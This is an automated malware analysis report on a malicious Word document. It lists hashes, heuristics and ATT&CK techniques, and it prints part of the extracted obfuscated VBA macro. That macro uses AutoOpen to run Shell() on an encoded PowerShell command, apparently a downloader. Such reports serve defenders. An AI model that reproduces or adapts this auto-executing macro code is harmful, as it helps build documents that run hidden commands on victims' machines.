Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2e166c951e07fc5…

MALICIOUS

Office (OLE)

230.0 KB Created: 2018-06-29 07:21:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 4e264f681daed6f8b124b43dadf8052a SHA-1: 6c79864e757b9562caa6e4e38b660fd8cf6d5647 SHA-256: d2e166c951e07fc56dc69588fa5494549b33ee2ef77d4f33feaaca0ab8438fea
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The macro's obfuscated nature and the presence of an AutoOpen function strongly suggest it's designed to download and execute a secondary payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13155 bytes
SHA-256: afb9983610840986943acea25b48b14f9b113534e1e84b28bf3fd8263cfab582
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GmhAHZcsAMTfi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qYIaPXmjUcw"
Function KSmUJHd()
On Error Resume Next
phjAqZ = sOcfiA - ihcQu / (pdYCL + Oct(kBqFi) - 56654 + Log(dmrSCT))
DVQXOP = uzvQsA = 98587 / ZGIMdp + 78129 / ChrW(63354) / ksoasw + ChrW(tNodRT) * 40455 + ChrB(41739 * CInt(DkfaRi) * 2184 - Hex(tIwuTb)) + OonmVb - Int(CDKXi) * (VUFlm - ZFJGKB)
dNmbPjIj = svjkhYAsSjZ + Chr(TrLIYwDShG + vbKeyP + hJROozYJBsM) + "owe" + "rs"
dilBpL = nEdMLm - EYiFD / (jzKPw + Oct(BvmFhj) - 45428 + Log(diMwi))
rTGsZC = huXhqQ = 95458 / LIjpi + 79192 / ChrW(71152) / JuCwW + ChrW(nPZwv) * 23907 + ChrB(42590 * CInt(jcIVC) * 13934 - Hex(XsNmb)) + ilNlJG - Int(zzXEP) * (HIItU - jocEhN)
MdXwdL = tkaPc - vDUuSN / (DGjsV + Oct(QoECv) - 78876 + Log(QXmXTa))
UiCfwi = fbQuwd = 15359 / dYVDw + 18914 / ChrW(99520) / wvfnQ + ChrW(VMmWKk) * 9912 + ChrB(94876 * CInt(TPLVTW) * 22348 - Hex(CPTzKq)) + mjVcEj - Int(vQDFD) * (bTXzj - Cnknjf)
KSmUJHd = oSjct + dNmbPjIj + PtjOW + fdaNpfh + jjiTDln
vuGYF = cSlPGi - KVrIQ / (zXHnap + Oct(RlXHWn) - 14488 + Log(uPTJPf))
hOrsHV = wwTpVS = 25434 / FufbKu + 64772 / ChrW(78454) / fafcXQ + ChrW(bsTlpP) * 82492 + ChrB(70320 * CInt(fSplM) * 50486 - Hex(jhRsr)) + QAzZIM - Int(qKahVO) * (zbuqDv - icrDVF)
End Function
Sub AutoOpen()
On Error Resume Next
DWcIw = ZtDnFE - aNnzY / (nwLpIk + Oct(wGCwv) - 57268 + Log(dNfot))
jqfjZ = QJkjnX = 14824 / nHjjJQ + 82260 / ChrW(90210) / sTWaPF + ChrW(zASzr) * 33694 + ChrB(15153 * CInt(PEAcnY) * 68317 - Hex(zzHIn)) + GOJlM - Int(QCRBEM) * (mEKoWz - TEQOHF)
Application.Run "bqXEkKWaTr", KSmUJHd
XnfIb = iikwHk - PpSAr / (aSWfNA + Oct(okYRH) - 74897 + Log(vXpbL))
cLtAW = RiPGRR = 81068 / RMrhUX + 78502 / ChrW(73439) / rFscz + ChrW(MhwGQw) * 54807 + ChrB(6401 * CInt(TZTdi) * 99070 - Hex(hEwpQV)) + TVSqsB - Int(dGTmCZ) * (LZipJ - OvDLDT)
End Sub
Function bqXEkKWaTr(FOQmwzbQKM)
On Error Resume Next
VfmKE = FjzVS - lrKpwn / (jCwwm + Oct(ABNUw) - 30884 + Log(irUiGW))
Lroaa = EHRYdD = 37499 / toBIR + 14900 / ChrW(39701) / wGSrU + ChrW(Grzrp) * 64257 + ChrB(39283 * CInt(ivFmvz) * 43795 - Hex(vOnPf)) + WhJDp - Int(shIjG) * (BaZlOm - KJGDf)
uWLSHq = MaldE - LVowqM / (pkJOv + Oct(FLNWC) - 72072 + Log(Tkmpj))
fBMCF = EcurU = 25977 / hwJXj + 341 / ChrW(2689) / BsLCF + ChrW(DuXjjZ) * 68139 + ChrB(80138 * CInt(pvqfFX) * 14383 - Hex(zjzwf)) + zuGVAi - Int(BzATB) * (WLlnjr - UbsUw)
FPbdZGrNi = WvdwTsTFL + Shell(ZjzzjkDkC + FOQmwzbQKM + zSviKWVV, 776662310 - 776662310) + JTwQL
iOzlA = GGzsI - vuqGdT / (AcwDPI + Oct(wCzTd) - 33810 + Log(fHBHw))
cdUwZH = zjwjiB = 16724 / qJNwXt + 72439 / ChrW(23545) / EjriPb + ChrW(zPzjaU) * 77101 + ChrB(70078 * CInt(LOYMh) * 83227 - Hex(chdaZ)) + JwqRVs - Int(QFkFQh) * (DYRVV - pLfMzS)
End Function

Function PtjOW()
On Error Resume Next
SDuEXv = AYcWTO = 60879 / jQKvR + 96252 / ChrW(53262) / USAUFc + ChrW(vPRKdu) * 1186 + ChrB(8399 * CInt(SSvAWv) * 71567 - Hex(ououu)) + LjrQa - Int(XbjYnj) * (BDBWi - jczCb)
ZhkfL = rBJFam - aSErlX / (pojMn + Oct(GiLdM) - 63514 + Log(zADmv))
YiYYnjK = "hell " + Chr(34) + "$" + Chr(40) + " sET" + "  'ofs'" + " '' " + Chr(41) + Chr(34) + " " + Chr(43) + " " + "[sTRI" + "NG]" + Chr(40) + " '28L8"
jvfww = PrItfl = 26573 / OblwXs + 75856 / ChrW(65767) / qjttW + ChrW(aORvQn) * 32776 + ChrB(20279 * CInt(njXjwp) * 61110 - Hex(wBBYPF)) + DhBno - Int(CjsMh) * (OpzrzQ - KoUHkS)
ovsVG = JCrim - VbkAfT / (LRBAK + Oct(IWuaj) - 51097 + Log(UdbHq))
zEccTZfZJa = "6V123,114" + "n5_86L" + "93@79" + "s21L8" + "7@90" + "n82n93<91" + "G76L2" + "4L118t93"
GXVLw = FUuRZ = 76768 / nUHsnu + 65542 / ChrW(35165) / oOcIIU + ChrW(rAdJJ) * 26013 + ChrB(86263 * CInt(GDmEjN) * 9347 - Hex(munzM)) + oNIDHi - Int(jpGkL) * (Qwiia - RmjIdi)
jtpNVX = GMQAFF - jWNfT / (KoYIQ + Oct(WuwEF) - 60137 + Log(WwNuc))
ptaOjvH = ",76_2" + "2_111L9" + "3L90V1" + "23n84_81" + "_93_86" + "t76V3" + "
... (truncated)

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